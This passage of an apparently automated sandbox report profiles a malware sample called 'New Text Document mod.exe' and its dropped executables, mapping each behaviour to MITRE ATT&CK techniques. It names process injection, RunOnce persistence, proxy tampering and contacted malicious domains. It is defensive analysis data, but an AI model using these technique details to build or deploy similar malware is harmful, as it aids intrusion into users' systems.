Security","name":"Contains ability to modify access token privileges (API string)","description":"$95","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"New Text Document mod.exe\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"New Text Document mod.exe\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"New Text Document mod.exe\")\n Found reference to API \"004,113,,SystemParametersInfoW,user32.dll,\"01:10:59.578\",RX=0,PX=0\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00000968.00000000.272733.007E5000.00000004.mdmp\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$96","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: New Text Document mod.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$97","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"New Text Document mod.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"NewTextDocumentmod.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"cooking.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"E011D4B57352DC0100000000000000000000000002000000\")\n \"irsetup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"elf.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"sys.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"sup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$98","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"NewTextDocumentmod.exe\" opened \"\\Device\\KsecDD\"\n \"cooking.exe\" opened \"\\Device\\KsecDD\"\n \"lJ5IwxN.exe\" opened \"\\Device\\KsecDD\"\n \"irsetup.exe\" opened \"\\Device\\KsecDD\"\n \"random.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$99","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"Device\\HarddiskVolume3\\DosDevices\\C:\\??\\Volume{44294f7c-6083-41c6-8176-3c202d755616}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"New Text Document mod.exe\")\n Found reference to API \"InitiateSystemShutdownA\" (Indicator: \"InitiateSystemShutdown\"; File: \"New Text Document mod.exe\")\n Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; File: \"New Text Document mod.exe\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; Source: \"00000000-00005036.00000000.270331.59AFE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"New Text Document mod.exe\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"BrowserInstaller.exe\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections\"- Location: [%TEMP%\\BrowserInstaller.exe]- [targetUID: 00000000-00005524]\n \"irsetup.exe\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 UPX compressed 3 sections\"- Location: [%TEMP%\\_ir_sf_temp_0\\irsetup.exe]- [targetUID: 00000000-00005524]\n \"lua5.3.dll\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\_ir_sf_temp_0\\lua5.3.dll]- [targetUID: 00000000-00005524]\n \"tmpFB41.tmp\" has type \"PE32+ executable for MS Windows 4.00 (GUI) x86-64 Mono/.Net assembly 2 sections\"- Location: [%TEMP%\\tmpFB41.tmp]- [targetUID: 00000000-00008220]\n \"IRZip.lmd\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\_ir_sf_temp_0\\IRZip.lmd]- [targetUID: 00000000-00005524]\n \"Wow64.lmd\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\_ir_sf_temp_0\\Wow64.lmd]- [targetUID: 00000000-00005524]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"GL0ygTD.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970\n \"random.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"GetConsoleWindow\" (Source: New Text Document mod.exe, API is part of module: KERNELBASE.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"New Text Document mod.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"MSTeams.exe\" was detected as \"tElock v1.0 (private) -> tE!\"\n \"GL0ygTD.exe\" was detected as \"Borland Delphi 4.0\"\n \"BrowserInstaller.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"0rXld4E.exe\" was detected as \"Microsoft visual C++ 8\"\n \"multifunctionalbackup294.exe\" was detected as \"Microsoft visual C++ 5.0\"\n \"Setup.exe\" was detected as \"Borland Delphi 4.0\"\n \"irsetup.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"\n \"random.exe\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"\n \"server.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"TLauncher-Installer-1.9.4.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"irsetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"random.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"window.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$9a","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"15/26 Antivirus vendors marked sample as malicious (57% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-187-00D5311B\n LoadResource@KERNEL32.DLL at 00000000-00001088-23227-188-00D530BE\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-750-00D5DC57\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-842-00DCCC18\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-1101-00D9C78B\n LockResource@KERNEL32.DLL at 00000000-00001088-23227-1102-00D9C74C\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-1487-00E21AC5\n FindResourceExW@KERNEL32.DLL at 00000000-00001088-23227-1489-00E3D374\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-2219-00D9C6F4\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-2227-00D757E7\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-3145-00D9C24A\n FindResourceW@KERNEL32.DLL at 00000000-00001088-23227-4131-00D9C4F5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$9b","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$9c","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"cooking.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"cooking.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP0\"; Value: \"rundll32.exe %WINDIR%\\system32\\advpack.dll,DelNodeRunDLL32 \"%TEMP%\\IXP000.TMP\\\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$9d","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"$9e","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"irsetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"$9f","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 660 files (often an indicator for ransomware)","origin":"Binary File","mitre_attack_id":"T1491.001","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$a0","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"NewTextDocumentmod.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"TLauncher-Installer-1.9.4.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"irsetup.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"MSTeams.exe\" claimed CRC 4457140 while the actual is CRC 17449\n \"BrowserInstaller.exe\" claimed CRC 3933979 while the actual is CRC 4296515\n \"0rXld4E.exe\" claimed CRC 3822401 while the actual is CRC 3933979\n \"rabert.exe\" claimed CRC 3459077 while the actual is CRC 3779676\n \"multifunctionalbackup294.exe\" claimed CRC 2636392 while the actual is CRC 3520171\n \"lJ5IwxN.exe\" claimed CRC 2513050 while the actual is CRC 2636392\n \"8RsL970.exe\" claimed CRC 2136948 while the actual is CRC 2471168\n \"fz0oKy4.exe\" claimed CRC 1973113 while the actual is CRC 2080757\n \"irsetup.exe\" claimed CRC 1869191 while the actual is CRC 1973113\n \"random.exe\" claimed CRC 242551 while the actual is CRC 1869191\n \"cooking.exe\" claimed CRC 1698833 while the actual is CRC 1751447\n \"fzCgCtE.exe\" claimed CRC 1563940 while the actual is CRC 1604082\n \"ZAjTMWu.exe\" claimed CRC 991795 while the actual is CRC 1284776\n \"vulkan-1.dll\" claimed CRC 949798 while the actual is CRC 991795\n \"06bK6nU.exe\" claimed CRC 687738 while the actual is CRC 979372","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"lJ5IwxN.exe\" has an entrypoint in section \".taggant\"\n \"fz0oKy4.exe\" has an entrypoint in section \"iqw2\"\n \"irsetup.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$a1","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"MSTeams.exe\" claims program is from Thu Jan 1 00:00:00 1970\n \"fz0oKy4.exe\" claims program is from Wed Jul 5 13:41:58 1978\n \"server.exe\" claims program is from Sun Feb 18 03:26:29 2080\n \"fzCgCtE.exe\" claims program is from Sun Aug 19 04:21:51 2085","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"$a2","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"lJ5IwxN.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"lJ5IwxN.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"15/26 Antivirus vendors marked sample as malicious (57% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"random.exe\" called \"ShellExecuteA\" with parameter %PROGRAMFILES%\\(x86)\\Company\\NewProduct\\Setup.exe (UID: 00000000-00000968)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"irsetup.exe\" sets a callback procedure (b413d3) using filter \"WH_CBT\" for process ID: 1594","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$a3","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"uploadsfre.com\" has been identified as malicious\n Contacted Domain: \"cwwgg-p5wdxtar.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"malicious","category":"Network Related","name":"Contacts many different hosts","description":"Contacted 26 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Setup Factory 10.0\n Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: Setup Factory 10.0","origin":"Network 